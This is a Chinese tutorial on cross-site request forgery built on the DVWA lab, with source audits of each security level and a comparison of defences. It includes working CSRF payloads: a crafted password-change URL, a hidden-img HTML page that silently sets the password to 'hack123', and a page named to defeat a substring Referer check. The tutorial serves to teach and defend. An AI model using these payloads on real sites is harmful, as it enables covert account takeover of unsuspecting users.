CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御

CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御

    • 前言
    • [1. CSRF 核心理论基础](#1. CSRF 核心理论基础)
      • [1.1 漏洞本质与定义](#1.1 漏洞本质与定义)
      • [1.2 漏洞成立的三大必要条件](#1.2 漏洞成立的三大必要条件)
      • [1.3 完整攻击链路](#1.3 完整攻击链路)
      • [1.4 CSRF 与 XSS 的核心区别](#1.4 CSRF 与 XSS 的核心区别)
      • [1.5 常见攻击场景与危害](#1.5 常见攻击场景与危害)
      • [1.6 CSRF 在漏洞榜单中的定位](#1.6 CSRF 在漏洞榜单中的定位)
    • [2. DVWA CSRF(Low)](#2. DVWA CSRF(Low))
      • [2.1 页面黑盒探测](#2.1 页面黑盒探测)
      • [2.2 黑盒漏洞利用实操](#2.2 黑盒漏洞利用实操)
        • [2.2.1 直接恶意URL](#2.2.1 直接恶意URL)
        • [2.2.2 隐藏img无感知攻击页面(推荐)](#2.2.2 隐藏img无感知攻击页面(推荐))
      • [2.3 源码审计](#2.3 源码审计)
    • [3. DVWA CSRF(Medium)](#3. DVWA CSRF(Medium))
      • [3.1 黑盒探测](#3.1 黑盒探测)
        • [3.1.1 基础功能测试](#3.1.1 基础功能测试)
        • [3.1.2 验证防护机制](#3.1.2 验证防护机制)
        • [3.1.3 黑盒推导校验规则](#3.1.3 黑盒推导校验规则)
      • [3.2 黑盒攻击实操](#3.2 黑盒攻击实操)
        • [3.2.1 攻击原理](#3.2.1 攻击原理)
        • [3.2.2 构造恶意页面](#3.2.2 构造恶意页面)
        • [3.2.3 攻击复现步骤](#3.2.3 攻击复现步骤)
        • [3.2.4 为什么能绕过](#3.2.4 为什么能绕过)
      • [3.3 源码审计](#3.3 源码审计)
    • [4. DVWA CSRF(High)](#4. DVWA CSRF(High))
      • [4.1 黑盒探测](#4.1 黑盒探测)
        • [4.1.1 正常页面抓包对比Low/Medium](#4.1.1 正常页面抓包对比Low/Medium)
        • [4.1.2 复用Medium攻击测试(完全失效)](#4.1.2 复用Medium攻击测试(完全失效))
        • [4.1.3 黑盒规则结论](#4.1.3 黑盒规则结论)
      • [4.2 黑盒攻击可行性分析](#4.2 黑盒攻击可行性分析)
        • [4.2.1 单纯CSRF无法攻破](#4.2.1 单纯CSRF无法攻破)
        • [4.2.2 唯一可打通的组合攻击](#4.2.2 唯一可打通的组合攻击)
      • [4.3 High级别源码审计](#4.3 High级别源码审计)
    • [5. DVWA CSRF(Impossible)](#5. DVWA CSRF(Impossible))
      • [5.1 源码审计](#5.1 源码审计)
      • [5.2 三级对比总结(Low/Medium/High/Impossible)](#5.2 三级对比总结(Low/Medium/High/Impossible))
      • [5.3 最终结论](#5.3 最终结论)
    • 免责声明

前言

CSRF(跨站请求伪造)本质就是借用户的 Cookie,发伪造的请求。

用户登录了目标网站,浏览器存着会话 Cookie,这时点开恶意链接 / 页面,浏览器会自动带着 Cookie 发请求给目标站,服务器以为是用户本人操作,就执行了敏感操作 ------ 改密码、转账、删数据都有可能。


1. CSRF 核心理论基础

1.1 漏洞本质与定义

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种挟制用户在已登录状态下执行非预期操作的攻击方式。攻击者不需要窃取用户的Cookie,也不需要拿到用户的账号密码,只需要诱导已登录的用户访问一个恶意页面,就能借用户的身份向目标网站发起伪造请求。

核心特征:攻击者借刀杀人------用用户的浏览器,发用户权限内的请求


1.2 漏洞成立的三大必要条件

CSRF 不是任何场景都能打,必须同时满足三个条件:

条件一:目标站点存在可预测的敏感操作请求

目标网站必须有一个有价值的敏感操作(改密码、转账、删数据等),且该请求的所有参数都是攻击者能预测/构造的。如果请求里带了一个攻击者不知道的随机值(比如Token),就无法构造有效请求。

条件二:浏览器自动携带Cookie机制(核心根源)

这是CSRF能够成立的最底层原因。浏览器的Cookie安全策略规定:只要请求的目标域名与Cookie绑定的域名一致,无论请求从哪个页面发起,浏览器都会自动带上该域名下的所有Cookie。

关键逻辑:浏览器只看"发给谁",不看"从哪发"。恶意页面虽然在evil.com上,但只要请求发往target.com,浏览器就会自动带上target.com的Cookie。

条件三:用户处于已登录状态且访问了恶意页面

用户必须先登录目标网站(会话Cookie有效),然后在同一会话期内访问了攻击者构造的恶意链接/页面。两个动作缺一不可。


1.3 完整攻击链路

base 复制代码
用户浏览器                    目标站点(target.com)           攻击者站点(evil.com)
    |                             |                              |
    |---- 1. 登录target.com ----->|                              |
    |<---- 2. 返回Session Cookie --|                              |
    |  (浏览器保存Cookie)          |                              |
    |                             |                              |
    |---- 3. 访问evil.com ------------------------------->|      |
    |                             |                              |
    |<---- 4. 返回恶意页面 -------------------------------|      |
    |  (页面里藏着指向target.com的伪造请求)                        |
    |                             |                              |
    |---- 5. 浏览器自动带Cookie,向target.com发伪造请求---->|      |
    |                             |                              |
    |                             |---- 6. 服务器验证Cookie通过,执行操作

整个过程中,攻击者看不到Cookie、看不到响应、拿不到数据,但只要请求发出去了、服务器执行了,攻击就成功了。所以CSRF是"写操作"漏洞,主要用来执行动作,不是用来窃取数据的。


1.4 CSRF 与 XSS 的核心区别

很多初学者容易混淆,这里明确区分:

对比维度 XSS(跨站脚本) CSRF(跨站请求伪造)
攻击载体 注入恶意JavaScript脚本 构造合法的HTTP请求
是否需要JS 必须执行JS 不需要,纯HTML标签即可
能否读取Cookie 能(HttpOnly除外) 不能,只能借用
能否读取响应 不能,是"盲打"
攻击目标 窃取数据、劫持会话 执行敏感操作(改密、转账)
危害方向 读+写 仅写
防御思路 过滤输入、编码输出 校验来源、增加不可预测参数

简单记:XSS是把脚本注入目标站,CSRF是借用户的手给目标站发请求。


1.5 常见攻击场景与危害

  • 账号类:修改用户密码、修改绑定邮箱/手机号、注销账号
  • 资金类:银行转账、充值消费、下单支付
  • 权限类:管理员添加用户、修改权限配置、删除数据
  • 社交类:自动发微博/朋友圈、自动关注、自动点赞
  • 企业级:内网系统未授权操作、安全策略关闭

1.6 CSRF 在漏洞榜单中的定位

CSRF 是 Web 安全经典高危漏洞,早年单独位列 OWASP Top10 第5位(2013版);新版榜单虽归类至「失效访问控制」大类,但仍是渗透测试、等保核查必测项,属于Web入门四大核心漏洞(SQL注入、XSS、CSRF、弱会话)之一,在大量老旧系统、无防护后台中极易出现。


2. DVWA CSRF(Low)

2.1 页面黑盒探测

页面功能仅为账号密码重置,包含两个输入框:New passwordConfirm new password,点击Change提交完成改密;附带Test Credentials查看默认账号密码。

黑盒基础操作

  1. 输入两组相同密码(如123456)提交,页面返回Password Changed.,接口功能正常。
  2. 开启Burp Suite代理抓包,重复提交改密操作,捕获完整HTTP请求:

黑盒关键发现

  1. 敏感改密操作为GET请求,全部参数明文拼接在URL;
  2. 请求仅依靠PHPSESSID会话Cookie校验登录状态,无额外校验字段、无随机Token
  3. 无来源校验、无需验证原密码,只要携带有效Session即可执行改密。

2.2 黑盒漏洞利用实操

2.2.1 直接恶意URL

基于抓包参数拼接攻击链接,受害者登录DVWA后直接访问下方地址,密码自动被修改为hack123

复制代码
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack123&password_conf=hack123&Change=Change

缺陷:URL暴露password参数,容易被受害者察觉异常。


2.2.2 隐藏img无感知攻击页面(推荐)

新建html恶意页面,利用img标签自动发起跨域GET请求,图片隐藏,受害者打开页面无任何提示:

html 复制代码
<html>
<body>
    <!-- 隐藏加载,自动触发CSRF改密请求 -->
    <img src="http://127.0.0.1:9001/dvwa/vulnerabilities/csrf/?password_new=hack123&password_conf=hack123&Change=Change" style="display:none">
    <h2>正常资讯页面</h2>
</body>
</html>

代码逐行解释:

代码部分 作用说明
<img src="改密接口地址"> img标签的特性:浏览器加载页面时自动发起GET请求拉取src地址,不需要用户点击。浏览器只负责发请求,不校验返回内容是不是真图片。
style="display:none" 把img元素彻底隐藏,页面上看不到任何图片痕迹,受害者完全察觉不到这个元素存在。
<h2>正常资讯页面</h2> 伪装内容,让页面看起来是个正常网页,降低受害者警惕性。

攻击执行流程:

  1. 受害者打开你发的这个HTML页面;
  2. 浏览器解析HTML,读到img标签,自动向src里的DVWA改密接口发送GET请求
  3. 浏览器自动附带受害者本地保存的DVWA会话Cookie(浏览器规则:发给目标域名的请求,自动带该域名的Cookie);
  4. DVWA服务器收到请求,校验Cookie有效,认为是用户本人操作,执行密码修改;
  5. 全程页面只显示"正常资讯页面"文字,img完全隐藏,受害者无任何感知 ,密码已经被改成hack123

核心原理一句话: 借浏览器自动加载资源的特性,用img标签偷偷发请求,借受害者的Cookie完成改密,全程零点击、无感知。


2.3 源码审计

php 复制代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

逐段审计解读

  1. 接收GET请求参数,无任何来源校验
php 复制代码
if( isset( $_GET[ 'Change' ] ) ) {
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
}

代码直接从URL中读取改密参数,没有校验请求来源、没有随机CSRF令牌。跨域页面、恶意链接发来的请求,服务端都会正常接收处理,这是CSRF漏洞的根本成因。

  1. 仅校验两次新密码一致,不验证原密码
php 复制代码
if( $pass_new == $pass_conf )

只判断两次输入的新密码是否相同,完全不需要输入当前登录密码做二次验证。只要能发送合法请求,就能直接篡改账号密码。

  1. mysqli_real_escape_string 仅防御SQL注入,和CSRF防护无关

    这行代码只是对密码做转义,防止SQL注入攻击,完全没有解决跨站请求伪造问题,说明开发者只考虑了注入风险,忽略了CSRF风险。后续还会对密码做MD5加密存入数据库。

  2. 用户身份完全依赖Session会话

php 复制代码
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";

dvwaCurrentUser() 函数从浏览器Cookie里的PHPSESSID读取当前登录用户。服务器逻辑:只要携带有效会话Cookie,就默认是用户本人操作,不会区分请求是用户主动提交还是恶意页面诱导发送。

Low等级核心漏洞总结

  1. 无请求来源校验、无CSRF Token,原生存在跨站请求伪造漏洞;
  2. 敏感改密操作使用GET传参,参数全部暴露在URL,极易构造恶意链接;
  3. 改密无需验证旧密码,攻击门槛极低;
  4. 身份鉴权单一依靠Cookie,信任浏览器自动携带的所有同域请求。

3. DVWA CSRF(Medium)

3.1 黑盒探测

3.1.1 基础功能测试

安全等级切换至 Medium,正常在页面输入新密码提交,功能正常,返回 Password Changed.

Burp 抓包看请求:

初步观察: 相比 Low 级别,请求头多了一个 Referer 字段,值是当前页面地址。

3.1.2 验证防护机制

直接复用 Low 级别的恶意页面测试,发现密码改不了,页面返回:

复制代码
That request didn't look correct.

说明 Medium 级别加了防护,而且跟请求来源有关。

3.1.3 黑盒推导校验规则

用 Burp 改 Referer 字段,逐个测试:

测试场景 Referer 值 结果
正常页面提交 http://127.0.0.1/dvwa/vulnerabilities/csrf/ ✅ 改密成功
清空 Referer (删除该字段) ❌ 失败
纯外网域名 http://evil.com/test.html ❌ 失败
路径包含目标IP http://evil.com/127.0.0.1/page.html ✅ 改密成功
子域名包含目标IP http://127.0.0.1.evil.com/csrf.html ✅ 改密成功

黑盒结论: 服务端不是严格校验 Referer 等于本站域名,而是判断 Referer 字符串里是否包含站点 IP/域名,属于模糊匹配,存在绕过空间。


3.2 黑盒攻击实操

3.2.1 攻击原理

既然校验规则是「Referer 里包含 127.0.0.1 就放行」,那我们只要让恶意页面的 URL 里带上 127.0.0.1 这个字符串,浏览器访问时自动生成的 Referer 就会包含它,校验直接绕过。

3.2.2 构造恶意页面

恶意 HTML 文件命名为 127.0.0.1.html,内容:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>每日资讯</title>
</head>
<body>
    <h2>今日热点新闻</h2>
    <p>这是一个正常的资讯页面...</p>
    
    <!-- 隐藏的CSRF攻击代码 -->
    <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack666&password_conf=hack666&Change=Change" style="display:none">
</body>
</html>
3.2.3 攻击复现步骤
  1. 浏览器登录 DVWA,安全等级设为 Medium,保持会话不关闭;
  2. 同浏览器访问恶意页面地址:http://evil.com/127.0.0.1.html(本地测试直接打开html文件也可以);
  3. 页面正常显示"今日热点新闻",img 完全隐藏,受害者无任何感知;
  4. 回到 DVWA,原密码登录失败,用新密码 hack666 登录成功,攻击完成。
3.2.4 为什么能绕过

受害者访问 http://evil.com/127.0.0.1.html 时,浏览器自动给请求加上 Referer:

复制代码
Referer: http://evil.com/127.0.0.1.html

服务端用 stripos 查这个字符串里有没有 127.0.0.1 ------ 找到了,就认为是合法请求,直接放行。


3.3 源码审计

php 复制代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $current_user = dvwaCurrentUser();
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from the correct source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

逐行审计

1. 新增的 Referer 校验(核心防护代码)

php 复制代码
if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ] ) !== false ) {

拆解:

  • $_SERVER['HTTP_REFERER']:读取请求头中的 Referer 来源地址
  • $_SERVER['SERVER_NAME']:读取当前服务器域名/IP(这里是 127.0.0.1
  • stripos(..., ...) !== false:不区分大小写查找,只要找到子串就返回 true

漏洞点: 用「包含」代替「等于」,只判断 Referer 里有没有目标域名,不判断 Referer 是不是真的来自目标站。攻击者只要在自己的页面 URL 里塞一个目标域名字符串,就能绕过。

2. 校验失败分支

php 复制代码
else {
    echo "<pre>That request didn't look correct.</pre>";
}

Referer 不包含目标域名时,直接拒绝并返回错误提示。

3. 其余逻辑和 Low 完全一致,风险全部保留

  • 依旧是 GET 请求传参,敏感参数全在 URL 里
  • 只校验两次新密码一致,不验证当前密码
  • 用户身份完全靠 Cookie 里的 Session 判断
  • mysqli_real_escape_string 只防 SQL 注入,对 CSRF 没用

Medium 级别总结

  1. 相比 Low 增加了 Referer 来源校验,能挡住最基础的 CSRF 攻击;
  2. 校验逻辑设计有缺陷,模糊匹配可以轻松绕过;
  3. 没有引入行业标准的 CSRF Token 机制,防护强度很低;
  4. Referer 本身就不可靠------浏览器插件、隐私模式、某些跳转场景都可能丢失或篡改 Referer,不能单独作为 CSRF 防御手段。

4. DVWA CSRF(High)

4.1 黑盒探测

4.1.1 正常页面抓包对比Low/Medium

在DVWA High等级页面正常提交改密,抓完整请求:

http 复制代码
GET /vulnerabilities/csrf/?password_new=test666&password_conf=test666&Change=Change&user_token=999xxxxxxxxxxxxxx HTTP/1.1
Host: 127.0.0.1:9001
Referer: http://127.0.0.1:9001/vulnerabilities/csrf/
Cookie: PHPSESSID=xxxx; security=high

核心新增参数:user_token 随机令牌,每次刷新页面token都会变化。

4.1.2 复用Medium攻击测试(完全失效)
  1. 之前Medium的img恶意页面直接访问;
  2. 请求缺少user_token参数;
  3. 后端直接拦截,拒绝改密。
4.1.3 黑盒规则结论
  1. 废弃不可靠的Referer校验,改用一次性随机Token防御;
  2. 每次加载CSRF页面,服务端会生成独属于当前会话的user_token
  3. 改密请求必须携带当前页面的有效token,缺失/过期/伪造全部拦截;
  4. 无法单纯构造URL、img页面完成CSRF,攻击者拿不到受害者页面内的实时token。

4.2 黑盒攻击可行性分析

4.2.1 单纯CSRF无法攻破

恶意外部页面(img/iframe)只能自动发送请求,无法读取DVWA页面里的user_token值 (浏览器同源策略隔离跨域页面DOM读取)。

没有有效token,后端永远拒绝执行改密,标准CSRF漏洞被彻底修复。

4.2.2 唯一可打通的组合攻击

如果站点同时存在存储型XSS漏洞,可以在DVWA同域页面植入JS脚本:

  1. JS读取当前页面隐藏表单里的实时user_token
  2. 自动拼接带有效token的改密请求;
  3. 同域脚本不受同源限制,拿到token完成改密;
    这属于XSS+CSRF组合攻击,单独CSRF无法生效。

4.3 High级别源码审计

php 复制代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // 核心防御:校验session内的user_token和提交的token一致
    checkToken( $_REQUEST[ 'user_token' ] );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // Sanitise input
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '$current_user';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
}

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

逐行审计解读

  1. checkToken( $_REQUEST[ 'user_token' ] );
    防御核心函数:
    • 服务端Session中存储本次会话的随机user_token
    • 接收改密请求时,强制比对URL/表单提交的token和Session内token;
    • 不匹配、无token、token过期直接终止代码,拒绝执行数据库更新。
  2. 移除了Medium的Referer校验逻辑,不再依赖不可靠请求头;
  3. 其余密码处理、数据库更新逻辑和Low/Medium保持一致。

High等级总结

  1. 使用行业标准CSRF Token防御,从根源修复跨站请求伪造漏洞;
  2. Token绑定用户Session,一次性随机生成,跨域恶意页面无法获取;
  3. 单纯CSRF攻击完全失效,只有搭配同域XSS漏洞才能绕过防御;
  4. 对比Low(无防护)、Medium(浅层Referer弱防护),High是安全规范的防御方案。

5. DVWA CSRF(Impossible)

5.1 源码审计

php 复制代码
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $current_user = dvwaCurrentUser();
    $data->bindParam( ':user', $current_user, PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $current_user = dvwaCurrentUser();
        $data->bindParam( ':user', $current_user, PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

核心防护两点

  1. Anti-CSRF Token校验

    checkToken同时接收前端提交token、服务端Session存储token、页面路径做三重校验,杜绝伪造token;每次页面刷新generateSessionToken()生成全新随机串。

  2. 旧密码强校验(Impossible独有的关键防御)

    修改密码操作强制验证用户原有登录密码:

  • CSRF攻击只能被动自动发包,无法获取受害者明文旧密码;
  • XSS就算拿到页面token,也无法解密用户数据库里MD5哈希后的旧密码,缺少password_current参数,永远无法进入更新分支。

其余优化点

  • 使用PDO预处理SQL,完全杜绝SQL注入;
  • 密码统一MD5哈希存储,页面不会泄露明文密码;
  • 不再依赖不可靠的Referer头,防护逻辑全部放在后端会话与业务校验。

5.2 三级对比总结(Low/Medium/High/Impossible)

等级 防护手段 能否纯CSRF打穿
Low 无任何校验 直接img页面攻击
Medium stripos模糊匹配Referer 构造带域名的页面绕过
High Session绑定user_token 仅搭配XSS拿token可尝试
Impossible Token校验 + 修改密码需验证原密码 完全无利用路径

5.3 最终结论

Impossible级别从业务层面彻底消除CSRF风险:

  1. 传统跨域诱导攻击完全失效;
  2. 同域XSS漏洞也无法绕过,因为无法获取用户明文旧密码;
  3. 是生产环境修改密码类敏感接口的标准安全设计模板。

免责声明

  1. 本文所有内容仅用于网络安全技术研究与教学演示,所有测试均在本地授权搭建的 DVWA 靶场环境中进行,旨在帮助读者理解漏洞原理与防御机制。
  2. 请勿将本文涉及的技术与方法用于任何未经授权的真实系统测试。任何利用本文内容进行的非法攻击行为,均与作者无关,由使用者自行承担相应法律责任。
  3. 网络安全学习请严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确书面授权的前提下开展安全测试。
相关推荐
智灵鸟科技10 小时前
封闭网络怎么安全地接外部能力:三条通道穷举、威胁封堵矩阵与残余风险
网络·安全·矩阵
祁白_11 小时前
sqlmap工具
web安全·网络安全·sql注入·sqlmap
谪星·阿凯11 小时前
CTF Web 解题完全指南:从 PHP 弱类型到 SSTI 模板注入的实战方法论
前端·安全·php·ctf web
HackTwoHub12 小时前
等级保护现场测评系统重磅更新,支持 AI 接入,可录入全品类资产清单,自动化巡检核查,批量导出测评归档文件
运维·人工智能·安全·web安全·网络安全·自动化·系统安全
川石课堂软件测试12 小时前
安全测试|服务器安全加固方法
服务器·功能测试·测试工具·jmeter·mysql·web安全·单元测试
Sagittarius_A*13 小时前
Command Injection 命令注入漏洞:系统命令拼接缺陷与执行利用技术
网络·安全·web安全·dvwa·命令注入漏洞
武子康14 小时前
Hugging Face AI 驱动入侵真正暴露的是 Dataset Processing 信任边界(攻击链 + 三层隔离 + 行动清单)
人工智能·安全·llm
Android洋芋14 小时前
漏洞挖掘与赏金攻略
网络·安全·web安全
数据知道15 小时前
SDN 与软件定义网络的安全边界在哪里?
网络·安全·网络安全